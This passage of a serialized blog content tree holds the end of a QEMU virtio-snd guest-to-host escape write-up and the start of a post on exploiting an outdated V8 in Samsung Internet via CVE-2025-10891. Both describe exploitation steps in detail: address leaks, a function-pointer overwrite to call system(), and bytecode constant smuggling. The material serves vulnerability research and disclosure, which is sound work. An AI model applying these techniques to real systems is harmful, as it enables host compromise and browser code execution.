vq",{"type":21,"tag":198,"props":131958,"children":131959},{"style":211},[131960],{"type":27,"value":14564},{"type":21,"tag":198,"props":131962,"children":131963},{"style":226},[131964],{"type":27,"value":131965},"handle_output",{"type":21,"tag":198,"props":131967,"children":131968},{"style":211},[131969],{"type":27,"value":668},{"type":21,"tag":198,"props":131971,"children":131972},{"class":200,"line":260},[131973,131978,131982,131987,131991,131995,131999,132003],{"type":21,"tag":198,"props":131974,"children":131975},{"style":211},[131976],{"type":27,"value":131977}," VirtIODevice ",{"type":21,"tag":198,"props":131979,"children":131980},{"style":683},[131981],{"type":27,"value":5383},{"type":21,"tag":198,"props":131983,"children":131984},{"style":211},[131985],{"type":27,"value":131986},"vdev ",{"type":21,"tag":198,"props":131988,"children":131989},{"style":683},[131990],{"type":27,"value":3174},{"type":21,"tag":198,"props":131992,"children":131993},{"style":226},[131994],{"type":27,"value":131956},{"type":21,"tag":198,"props":131996,"children":131997},{"style":211},[131998],{"type":27,"value":14564},{"type":21,"tag":198,"props":132000,"children":132001},{"style":226},[132002],{"type":27,"value":124240},{"type":21,"tag":198,"props":132004,"children":132005},{"style":211},[132006],{"type":27,"value":1483},{"type":21,"tag":198,"props":132008,"children":132009},{"class":200,"line":281},[132010],{"type":21,"tag":198,"props":132011,"children":132012},{"emptyLinePlaceholder":16},[132013],{"type":27,"value":1283},{"type":21,"tag":198,"props":132015,"children":132016},{"class":200,"line":302},[132017],{"type":21,"tag":198,"props":132018,"children":132019},{"style":211},[132020],{"type":27,"value":124421},{"type":21,"tag":198,"props":132022,"children":132023},{"class":200,"line":323},[132024],{"type":21,"tag":198,"props":132025,"children":132026},{"emptyLinePlaceholder":16},[132027],{"type":27,"value":1283},{"type":21,"tag":198,"props":132029,"children":132030},{"class":200,"line":344},[132031,132036,132040,132044],{"type":21,"tag":198,"props":132032,"children":132033},{"style":226},[132034],{"type":27,"value":132035}," vq",{"type":21,"tag":198,"props":132037,"children":132038},{"style":211},[132039],{"type":27,"value":14564},{"type":21,"tag":198,"props":132041,"children":132042},{"style":698},[132043],{"type":27,"value":131965},{"type":21,"tag":198,"props":132045,"children":132046},{"style":211},[132047],{"type":27,"value":132048},"(vdev, vq);\n",{"type":21,"tag":198,"props":132050,"children":132051},{"class":200,"line":365},[132052],{"type":21,"tag":198,"props":132053,"children":132054},{"emptyLinePlaceholder":16},[132055],{"type":27,"value":1283},{"type":21,"tag":198,"props":132057,"children":132058},{"class":200,"line":386},[132059],{"type":21,"tag":198,"props":132060,"children":132061},{"style":211},[132062],{"type":27,"value":124421},{"type":21,"tag":198,"props":132064,"children":132065},{"class":200,"line":408},[132066],{"type":21,"tag":198,"props":132067,"children":132068},{"style":211},[132069],{"type":27,"value":880},{"type":21,"tag":198,"props":132071,"children":132072},{"class":200,"line":429},[132073],{"type":21,"tag":198,"props":132074,"children":132075},{"style":211},[132076],{"type":27,"value":1120},{"type":21,"tag":30,"props":132078,"children":132079},{},[132080,132082,132087,132089,132094,132096,132102,132104,132109,132110,132115,132117,132122],{"type":27,"value":132081},"This means that if we free the known-address chunk and replace it with a ",{"type":21,"tag":194,"props":132083,"children":132085},{"className":132084},[],[132086],{"type":27,"value":124907},{"type":27,"value":132088}," - which is straightforward, since we control the buffer allocation size through the ",{"type":21,"tag":194,"props":132090,"children":132092},{"className":132091},[],[132093],{"type":27,"value":124495},{"type":27,"value":132095}," iovec - we can use the arbitrary read primitive to read its ",{"type":21,"tag":194,"props":132097,"children":132099},{"className":132098},[],[132100],{"type":27,"value":132101},".vq",{"type":27,"value":132103}," pointer, then follow that pointer to leak ",{"type":21,"tag":194,"props":132105,"children":132107},{"className":132106},[],[132108],{"type":27,"value":131857},{"type":27,"value":16856},{"type":21,"tag":194,"props":132111,"children":132113},{"className":132112},[],[132114],{"type":27,"value":131759},{"type":27,"value":132116}," structure. In our case, that field points to ",{"type":21,"tag":194,"props":132118,"children":132120},{"className":132119},[],[132121],{"type":27,"value":124147},{"type":27,"value":132123},", which gives us QEMU's base address.",{"type":21,"tag":30,"props":132125,"children":132126},{},[132127,132129,132135],{"type":27,"value":132128},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":21,"tag":194,"props":132130,"children":132132},{"className":132131},[],[132133],{"type":27,"value":132134},"system",{"type":27,"value":658},{"type":21,"tag":59,"props":132137,"children":132139},{"id":132138},"rip-control",[132140],{"type":27,"value":132141},"RIP Control",{"type":21,"tag":30,"props":132143,"children":132144},{},[132145,132147,132152,132154,132160],{"type":27,"value":132146},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":21,"tag":194,"props":132148,"children":132150},{"className":132149},[],[132151],{"type":27,"value":132134},{"type":27,"value":132153},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":21,"tag":194,"props":132155,"children":132157},{"className":132156},[],[132158],{"type":27,"value":132159},"VirtQueue.handle_output",{"type":27,"value":658},{"type":21,"tag":30,"props":132162,"children":132163},{},[132164,132166,132171,132173,132178,132180,132185],{"type":27,"value":132165},"We overwrite ",{"type":21,"tag":194,"props":132167,"children":132169},{"className":132168},[],[132170],{"type":27,"value":131857},{"type":27,"value":132172}," with the address of ",{"type":21,"tag":194,"props":132174,"children":132176},{"className":132175},[],[132177],{"type":27,"value":132134},{"type":27,"value":132179}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":21,"tag":194,"props":132181,"children":132183},{"className":132182},[],[132184],{"type":27,"value":131865},{"type":27,"value":132186}," with the address of that command string, so it is passed as the first argument.",{"type":21,"tag":30,"props":132188,"children":132189},{},[132190,132192,132198,132200,132206,132208,132214],{"type":27,"value":132191},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":21,"tag":194,"props":132193,"children":132195},{"className":132194},[],[132196],{"type":27,"value":132197},"virtio_queue_notify_vq",{"type":27,"value":132199},", which calls ",{"type":21,"tag":194,"props":132201,"children":132203},{"className":132202},[],[132204],{"type":27,"value":132205},"vq->handle_output(vq->vdev)",{"type":27,"value":132207}," - or, after our overwrites, ",{"type":21,"tag":194,"props":132209,"children":132211},{"className":132210},[],[132212],{"type":27,"value":132213},"system(command)",{"type":27,"value":658},{"type":21,"tag":30,"props":132216,"children":132217},{},[132218,132220,132226,132228],{"type":27,"value":132219},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":21,"tag":194,"props":132221,"children":132223},{"className":132222},[],[132224],{"type":27,"value":132225},"gnome-calculator",{"type":27,"value":132227}," on the host system:\n",{"type":21,"tag":31768,"props":132229,"children":132230},{},[],{"type":21,"tag":132232,"props":132233,"children":132242},"tweet-card",{"author-name":132234,"date":132235,"duration":132236,"handle":132237,"media-mime-type":132238,"media-src":132239,"media-type":132240,"tweet-url":132241},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[132243,132248,132253],{"type":21,"tag":30,"props":132244,"children":132245},{},[132246],{"type":27,"value":132247},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":21,"tag":30,"props":132249,"children":132250},{},[132251],{"type":27,"value":132252},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":21,"tag":30,"props":132254,"children":132255},{},[132256],{"type":27,"value":132257},"Writeup coming next week.",{"type":21,"tag":31768,"props":132259,"children":132260},{},[],{"type":21,"tag":30,"props":132262,"children":132263},{},[132264,132266,132272,132274,132280],{"type":27,"value":132265},"The final exploit, targeting QEMU commit ",{"type":21,"tag":194,"props":132267,"children":132269},{"className":132268},[],[132270],{"type":27,"value":132271},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":27,"value":132273}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":21,"tag":34,"props":132275,"children":132278},{"href":132276,"rel":132277},"https://github.com/otter-sec/qemu-escape",[38],[132279],{"type":27,"value":625},{"type":27,"value":658},{"type":21,"tag":30,"props":132282,"children":132283},{},[132284,132286,132293],{"type":27,"value":132285},"Special thanks to ",{"type":21,"tag":34,"props":132287,"children":132290},{"href":132288,"rel":132289},"https://www.willsroot.io/",[38],[132291],{"type":27,"value":132292},"William Liu",{"type":27,"value":132294}," for proofreading this post and helping us polish it before publication.",{"type":21,"tag":22,"props":132296,"children":132297},{"id":3586},[132298],{"type":27,"value":3589},{"type":21,"tag":30,"props":132300,"children":132301},{},[132302],{"type":27,"value":132303},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":21,"tag":30,"props":132305,"children":132306},{},[132307],{"type":27,"value":132308},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":21,"tag":3645,"props":132310,"children":132311},{},[132312],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":132314},[132315,132318,132321,132330],{"id":124043,"depth":217,"text":124056,"children":132316},[132317],{"id":124064,"depth":236,"text":124067},{"id":124088,"depth":217,"text":124091,"children":132319},[132320],{"id":124102,"depth":236,"text":124102},{"id":100490,"depth":217,"text":100493,"children":132322},[132323,132324,132325,132326,132327,132328,132329],{"id":126694,"depth":236,"text":126697},{"id":128221,"depth":236,"text":128224},{"id":129015,"depth":236,"text":129018},{"id":129420,"depth":236,"text":129423},{"id":129636,"depth":236,"text":129639},{"id":129842,"depth":236,"text":129845},{"id":132138,"depth":236,"text":132141},{"id":3586,"depth":217,"text":3589},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":132335,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":132336,"description":132337,"date":132338,"author":132339,"image":132342,"isFeatured":16,"onBlogPage":16,"tags":132344,"body":132347,"_type":3671,"_id":142255,"_source":3673,"_file":142256,"_stem":142257,"_extension":3676},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[124039,132340,132341],"jamie","william",{"src":132343,"width":97650,"height":14430},"/posts/mobile-renderer-rce/title.png",[132345,132346],"RCE","mobile",{"type":18,"children":132348,"toc":142235},[132349,132353,132358,132372,132378,132392,132413,132421,132434,132442,132455,132461,132474,132488,132494,132508,132611,132616,132624,132629,132634,132655,132733,132741,132760,132773,132779,132785,132799,132915,132920,132925,132933,132938,132946,132974,133003,133015,133191,133196,133204,133223,133236,133242,133262,133276,133281,133286,133314,133350,133419,133425,133447,133452,133460,133473,133478,133486,133491,133530,133536,133549,133554,133732,133742,133750,133770,133794,133807,133813,133818,134460,134465,134473,134515,136504,136509,136517,136523,136556,136574,136744,136802,136827,136921,136926,137717,137722,137730,137741,139785,139790,139798,139804,139826,139840,139853,139865,139895,139900,140341,140369,140476,140493,140650,140655,140667,140963,140989,141012,141144,141156,141161,141313,141349,141362,141367,141489,141530,141607,141612,142186,142192,142204,142217,142221,142226,142231],{"type":21,"tag":22,"props":132350,"children":132351},{"id":61},[132352],{"type":27,"value":64},{"type":21,"tag":30,"props":132354,"children":132355},{},[132356],{"type":27,"value":132357},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":21,"tag":30,"props":132359,"children":132360},{},[132361,132363,132370],{"type":27,"value":132362},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":21,"tag":34,"props":132364,"children":132367},{"href":132365,"rel":132366},"https://cor.team",[38],[132368],{"type":27,"value":132369},"Crusaders of Rust",{"type":27,"value":132371}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":21,"tag":59,"props":132373,"children":132375},{"id":132374},"finding-the-v8-version",[132376],{"type":27,"value":132377},"Finding the V8 Version",{"type":21,"tag":30,"props":132379,"children":132380},{},[132381,132383,132390],{"type":27,"value":132382},"We started by pulling Samsung Internet's APK from the device over ",{"type":21,"tag":34,"props":132384,"children":132387},{"href":132385,"rel":132386},"https://developer.android.com/tools/adb",[38],[132388],{"type":27,"value":132389},"adb",{"type":27,"value":132391}," and inspecting the libraries it shipped with.",{"type":21,"tag":30,"props":132393,"children":132394},{},[132395,132397,132403,132405,132411],{"type":27,"value":132396},"After extracting the APK, we searched the ",{"type":21,"tag":194,"props":132398,"children":132400},{"className":132399},[],[132401],{"type":27,"value":132402},"lib/",{"type":27,"value":132404}," directory for ",{"type":21,"tag":194,"props":132406,"children":132408},{"className":132407},[],[132409],{"type":27,"value":132410},"v8::*",{"type":27,"value":132412}," symbols:",{"type":21,"tag":187,"props":132414,"children":132416},{"code":132415},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[132417],{"type":21,"tag":194,"props":132418,"children":132419},{"__ignoreMap":7},[132420],{"type":27,"value":132415},{"type":21,"tag":30,"props":132422,"children":132423},{},[132424,132426,132432],{"type":27,"value":132425},"Only one file matched our search: ",{"type":21,"tag":194,"props":132427,"children":132429},{"className":132428},[],[132430],{"type":27,"value":132431},"libterrace.so",{"type":27,"value":132433},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":21,"tag":30,"props":132435,"children":132436},{},[132437],{"type":21,"tag":1376,"props":132438,"children":132441},{"alt":132439,"src":132440},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":21,"tag":30,"props":132443,"children":132444},{},[132445,132447,132453],{"type":27,"value":132446},"Surprisingly, this ",{"type":21,"tag":194,"props":132448,"children":132450},{"className":132449},[],[132451],{"type":27,"value":132452},"13.6.233.10",{"type":27,"value":132454}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":21,"tag":59,"props":132456,"children":132458},{"id":132457},"choosing-the-bug",[132459],{"type":27,"value":132460},"Choosing the Bug",{"type":21,"tag":30,"props":132462,"children":132463},{},[132464,132466,132472],{"type":27,"value":132465},"We were able to trigger a couple of bugs on our locally compiled ",{"type":21,"tag":194,"props":132467,"children":132469},{"className":132468},[],[132470],{"type":27,"value":132471},"d8",{"type":27,"value":132473}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":21,"tag":30,"props":132475,"children":132476},{},[132477,132479,132486],{"type":27,"value":132478},"Another one was ",{"type":21,"tag":34,"props":132480,"children":132483},{"href":132481,"rel":132482},"https://issuetracker.google.com/issues/443875388",[38],[132484],{"type":27,"value":132485},"CVE-2025-10891",{"type":27,"value":132487}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":21,"tag":22,"props":132489,"children":132491},{"id":132490},"ignition-bytecode-introduction",[132492],{"type":27,"value":132493},"Ignition Bytecode Introduction",{"type":21,"tag":30,"props":132495,"children":132496},{},[132497,132499,132506],{"type":27,"value":132498},"V8 initially compiles all JS code to a bytecode format with the ",{"type":21,"tag":34,"props":132500,"children":132503},{"href":132501,"rel":132502},"https://v8.dev/blog/ignition-interpreter",[38],[132504],{"type":27,"value":132505},"Ignition",{"type":27,"value":132507}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":21,"tag":187,"props":132509,"children":132511},{"code":132510,"language":191,"meta":7,"className":189,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[132512],{"type":21,"tag":194,"props":132513,"children":132514},{"__ignoreMap":7},[132515,132538,132562,132586],{"type":21,"tag":198,"props":132516,"children":132517},{"class":200,"line":201},[132518,132522,132526,132530,132534],{"type":21,"tag":198,"props":132519,"children":132520},{"style":249},[132521],{"type":27,"value":12597},{"type":21,"tag":198,"props":132523,"children":132524},{"style":226},[132525],{"type":27,"value":90218},{"type":21,"tag":198,"props":132527,"children":132528},{"style":683},[132529],{"type":27,"value":979},{"type":21,"tag":198,"props":132531,"children":132532},{"style":2540},[132533],{"type":27,"value":5335},{"type":21,"tag":198,"props":132535,"children":132536},{"style":211},[132537],{"type":27,"value":1483},{"type":21,"tag":198,"props":132539,"children":132540},{"class":200,"line":217},[132541,132545,132549,132553,132558],{"type":21,"tag":198,"props":132542,"children":132543},{"style":249},[132544],{"type":27,"value":12597},{"type":21,"tag":198,"props":132546,"children":132547},{"style":226},[132548],{"type":27,"value":91092},{"type":21,"tag":198,"props":132550,"children":132551},{"style":683},[132552],{"type":27,"value":979},{"type":21,"tag":198,"props":132554,"children":132555},{"style":2540},[132556],{"type":27,"value":132557}," 0x0fff",{"type":21,"tag":198,"props":132559,"children":132560},{"style":211},[132561],{"type":27,"value":1483},{"type":21,"tag":198,"props":132563,"children":132564},{"class":200,"line":236},[132565,132569,132573,132577,132582],{"type":21,"tag":198,"props":132566,"children":132567},{"style":249},[132568],{"type":27,"value":12597},{"type":21,"tag":198,"props":132570,"children":132571},{"style":226},[132572],{"type":27,"value":38207},{"type":21,"tag":198,"props":132574,"children":132575},{"style":683},[132576],{"type":27,"value":979},{"type":21,"tag":198,"props":132578,"children":132579},{"style":2540},[132580],{"type":27,"value":132581}," 0x0fffffff",{"type":21,"tag":198,"props":132583,"children":132584},{"style":211},[132585],{"type":27,"value":1483},{"type":21,"tag":198,"props":132587,"children":132588},{"class":200,"line":260},[132589,132593,132598,132602,132607],{"type":21,"tag":198,"props":132590,"children":132591},{"style":249},[132592],{"type":27,"value":12597},{"type":21,"tag":198,"props":132594,"children":132595},{"style":226},[132596],{"type":27,"value":132597}," d",{"type":21,"tag":198,"props":132599,"children":132600},{"style":683},[132601],{"type":27,"value":979},{"type":21,"tag":198,"props":132603,"children":132604},{"style":2540},[132605],{"type":27,"value":132606}," 0xffffffff",{"type":21,"tag":198,"props":132608,"children":132609},{"style":211},[132610],{"type":27,"value":1483},{"type":21,"tag":30,"props":132612,"children":132613},{},[132614],{"type":27,"value":132615},"compiles to",{"type":21,"tag":187,"props":132617,"children":132619},{"code":132618}," # Load the Smi `1` into the accumulator\n 0 : 0d 01 LdaSmi [1]\n # Store it to register 0\n 2 : ce Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00 LdaConstant [0]\n# Store it to register 3\n17 : cb Star3\n18 : 0e LdaUndefined\n19 : b3 Return\n",[132620],{"type":21,"tag":194,"props":132621,"children":132622},{"__ignoreMap":7},[132623],{"type":27,"value":132618},{"type":21,"tag":30,"props":132625,"children":132626},{},[132627],{"type":27,"value":132628},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":21,"tag":59,"props":132630,"children":132632},{"id":132631},"cve-2025-10891",[132633],{"type":27,"value":132485},{"type":21,"tag":30,"props":132635,"children":132636},{},[132637,132639,132645,132647,132653],{"type":27,"value":132638},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":21,"tag":194,"props":132640,"children":132642},{"className":132641},[],[132643],{"type":27,"value":132644},"[start, end) => handler",{"type":27,"value":132646}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":21,"tag":194,"props":132648,"children":132650},{"className":132649},[],[132651],{"type":27,"value":132652},"handler",{"type":27,"value":132654}," is jumped to.",{"type":21,"tag":187,"props":132656,"children":132658},{"code":132657,"language":191,"meta":7,"className":189,"style":7},"try {\n throw 1;\n} catch {\n let b = 2;\n}\n",[132659],{"type":21,"tag":194,"props":132660,"children":132661},{"__ignoreMap":7},[132662,132673,132688,132703,132726],{"type":21,"tag":198,"props":132663,"children":132664},{"class":200,"line":201},[132665,132669],{"type":21,"tag":198,"props":132666,"children":132667},{"style":640},[132668],{"type":27,"value":1414},{"type":21,"tag":198,"props":132670,"children":132671},{"style":211},[132672],{"type":27,"value":233},{"type":21,"tag":198,"props":132674,"children":132675},{"class":200,"line":217},[132676,132680,132684],{"type":21,"tag":198,"props":132677,"children":132678},{"style":640},[132679],{"type":27,"value":35976},{"type":21,"tag":198,"props":132681,"children":132682},{"style":2540},[132683],{"type":27,"value":5335},{"type":21,"tag":198,"props":132685,"children":132686},{"style":211},[132687],{"type":27,"value":1483},{"type":21,"tag":198,"props":132689,"children":132690},{"class":200,"line":236},[132691,132695,132699],{"type":21,"tag":198,"props":132692,"children":132693},{"style":211},[132694],{"type":27,"value":1270},{"type":21,"tag":198,"props":132696,"children":132697},{"style":640},[132698],{"type":27,"value":1498},{"type":21,"tag":198,"props":132700,"children":132701},{"style":211},[132702],{"type":27,"value":233},{"type":21,"tag":198,"props":132704,"children":132705},{"class":200,"line":260},[132706,132710,132714,132718,132722],{"type":21,"tag":198,"props":132707,"children":132708},{"style":249},[132709],{"type":27,"value":1023},{"type":21,"tag":198,"props":132711,"children":132712},{"style":226},[132713],{"type":27,"value":91092},{"type":21,"tag":198,"props":132715,"children":132716},{"style":683},[132717],{"type":27,"value":979},{"type":21,"tag":198,"props":132719,"children":132720},{"style":2540},[132721],{"type":27,"value":8745},{"type":21,"tag":198,"props":132723,"children":132724},{"style":211},[132725],{"type":27,"value":1483},{"type":21,"tag":198,"props":132727,"children":132728},{"class":200,"line":281},[132729],{"type":21,"tag":198,"props":132730,"children":132731},{"style":211},[132732],{"type":27,"value":1120},{"type":21,"tag":187,"props":132734,"children":132736},{"code":132735}," 0 : 1b ff f8 Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01 LdaSmi [1]\n 5 : b1 Throw\n # ---------------------------------\n 6 : 10 LdaTheHole\n 7 : b0 SetPendingMessage\n # Start of catch handler\n 8 : 0d 02 LdaSmi [2]\n10 : ce Star0\n11 : 0e LdaUndefined\n12 : b3 Return\nHandler Table (size = 16)\n from to hdlr (prediction, data)\n ( 3, 6) -> 6 (prediction=1, data=1)\n",[132737],{"type":21,"tag":194,"props":132738,"children":132739},{"__ignoreMap":7},[132740],{"type":27,"value":132735},{"type":21,"tag":30,"props":132742,"children":132743},{},[132744,132746,132751,132753,132758],{"type":27,"value":132745},"However, the ",{"type":21,"tag":194,"props":132747,"children":132749},{"className":132748},[],[132750],{"type":27,"value":132652},{"type":27,"value":132752}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":21,"tag":194,"props":132754,"children":132756},{"className":132755},[],[132757],{"type":27,"value":1498},{"type":27,"value":132759}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":21,"tag":30,"props":132761,"children":132762},{},[132763,132765,132771],{"type":27,"value":132764},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":21,"tag":194,"props":132766,"children":132768},{"className":132767},[],[132769],{"type":27,"value":132770},"yield*",{"type":27,"value":132772}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":21,"tag":22,"props":132774,"children":132776},{"id":132775},"exploitation",[132777],{"type":27,"value":132778},"Exploitation",{"type":21,"tag":59,"props":132780,"children":132782},{"id":132781},"constant-smuggling",[132783],{"type":27,"value":132784},"Constant Smuggling",{"type":21,"tag":30,"props":132786,"children":132787},{},[132788,132790,132797],{"type":27,"value":132789},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":21,"tag":34,"props":132791,"children":132794},{"href":132792,"rel":132793},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[38],[132795],{"type":27,"value":132796},"technique",{"type":27,"value":132798}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":21,"tag":187,"props":132800,"children":132802},{"code":132801,"language":191,"meta":7,"className":189,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[132803],{"type":21,"tag":194,"props":132804,"children":132805},{"__ignoreMap":7},[132806,132834,132861,132888],{"type":21,"tag":198,"props":132807,"children":132808},{"class":200,"line":201},[132809,132813,132817,132821,132825,132830],{"type":21,"tag":198,"props":132810,"children":132811},{"style":249},[132812],{"type":27,"value":12597},{"type":21,"tag":198,"props":132814,"children":132815},{"style":226},[132816],{"type":27,"value":90218},{"type":21,"tag":198,"props":132818,"children":132819},{"style":683},[132820],{"type":27,"value":979},{"type":21,"tag":198,"props":132822,"children":132823},{"style":683},[132824],{"type":27,"value":51631},{"type":21,"tag":198,"props":132826,"children":132827},{"style":2540},[132828],{"type":27,"value":132829},"9.255963134931783e61",{"type":21,"tag":198,"props":132831,"children":132832},{"style":211},[132833],{"type":27,"value":1483},{"type":21,"tag":198,"props":132835,"children":132836},{"class":200,"line":217},[132837,132841,132845,132849,132853,132857],{"type":21,"tag":198,"props":132838,"children":132839},{"style":249},[132840],{"type":27,"value":12597},{"type":21,"tag":198,"props":132842,"children":132843},{"style":226},[132844],{"type":27,"value":91092},{"type":21,"tag":198,"props":132846,"children":132847},{"style":683},[132848],{"type":27,"value":979},{"type":21,"tag":198,"props":132850,"children":132851},{"style":683},[132852],{"type":27,"value":51631},{"type":21,"tag":198,"props":132854,"children":132855},{"style":2540},[132856],{"type":27,"value":132829},{"type":21,"tag":198,"props":132858,"children":132859},{"style":211},[132860],{"type":27,"value":1483},{"type":21,"tag":198,"props":132862,"children":132863},{"class":200,"line":236},[132864,132868,132872,132876,132880,132884],{"type":21,"tag":198,"props":132865,"children":132866},{"style":249},[132867],{"type":27,"value":12597},{"type":21,"tag":198,"props":132869,"children":132870},{"style":226},[132871],{"type":27,"value":38207},{"type":21,"tag":198,"props":132873,"children":132874},{"style":683},[132875],{"type":27,"value":979},{"type":21,"tag":198,"props":132877,"children":132878},{"style":683},[132879],{"type":27,"value":51631},{"type":21,"tag":198,"props":132881,"children":132882},{"style":2540},[132883],{"type":27,"value":132829},{"type":21,"tag":198,"props":132885,"children":132886},{"style":211},[132887],{"type":27,"value":1483},{"type":21,"tag":198,"props":132889,"children":132890},{"class":200,"line":260},[132891,132895,132899,132903,132907,132911],{"type":21,"tag":198,"props":132892,"children":132893},{"style":249},[132894],{"type":27,"value":12597},{"type":21,"tag":198,"props":132896,"children":132897},{"style":226},[132898],{"type":27,"value":132597},{"type":21,"tag":198,"props":132900,"children":132901},{"style":683},[132902],{"type":27,"value":979},{"type":21,"tag":198,"props":132904,"children":132905},{"style":683},[132906],{"type":27,"value":51631},{"type":21,"tag":198,"props":132908,"children":132909},{"style":2540},[132910],{"type":27,"value":132829},{"type":21,"tag":198,"props":132912,"children":132913},{"style":211},[132914],{"type":27,"value":1483},{"type":21,"tag":30,"props":132916,"children":132917},{},[132918],{"type":27,"value":132919},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":21,"tag":30,"props":132921,"children":132922},{},[132923],{"type":27,"value":132924},"We'll use a similar principle here, although much more limited. With",{"type":21,"tag":187,"props":132926,"children":132928},{"code":132927},"let a = 0x0693bebe;\n",[132929],{"type":21,"tag":194,"props":132930,"children":132931},{"__ignoreMap":7},[132932],{"type":27,"value":132927},{"type":21,"tag":30,"props":132934,"children":132935},{},[132936],{"type":27,"value":132937},"We will compile the bytecode:",{"type":21,"tag":187,"props":132939,"children":132941},{"code":132940},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[132942],{"type":21,"tag":194,"props":132943,"children":132944},{"__ignoreMap":7},[132945],{"type":27,"value":132940},{"type":21,"tag":30,"props":132947,"children":132948},{},[132949,132951,132957,132959,132965,132966,132972],{"type":27,"value":132950},"We can then jump to the 3rd byte (",{"type":21,"tag":194,"props":132952,"children":132954},{"className":132953},[],[132955],{"type":27,"value":132956},"0xbe",{"type":27,"value":132958},"), and gain 2 controlled bytes of execution, followed by ",{"type":21,"tag":194,"props":132960,"children":132962},{"className":132961},[],[132963],{"type":27,"value":132964},"0x93 0x02 - 0xf",{"type":27,"value":648},{"type":21,"tag":194,"props":132967,"children":132969},{"className":132968},[],[132970],{"type":27,"value":132971},"Jump +[2-15]",{"type":27,"value":132973},") to jump into the next constant.",{"type":21,"tag":30,"props":132975,"children":132976},{},[132977,132979,132985,132987,132993,132995,133001],{"type":27,"value":132978},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":21,"tag":194,"props":132980,"children":132982},{"className":132981},[],[132983],{"type":27,"value":132984},"StarX",{"type":27,"value":132986}," instructions, registers 16-121 resulted in two bytes ",{"type":21,"tag":194,"props":132988,"children":132990},{"className":132989},[],[132991],{"type":27,"value":132992},"Star rX",{"type":27,"value":132994}," instructions, and the next batch resulted in 4 byte 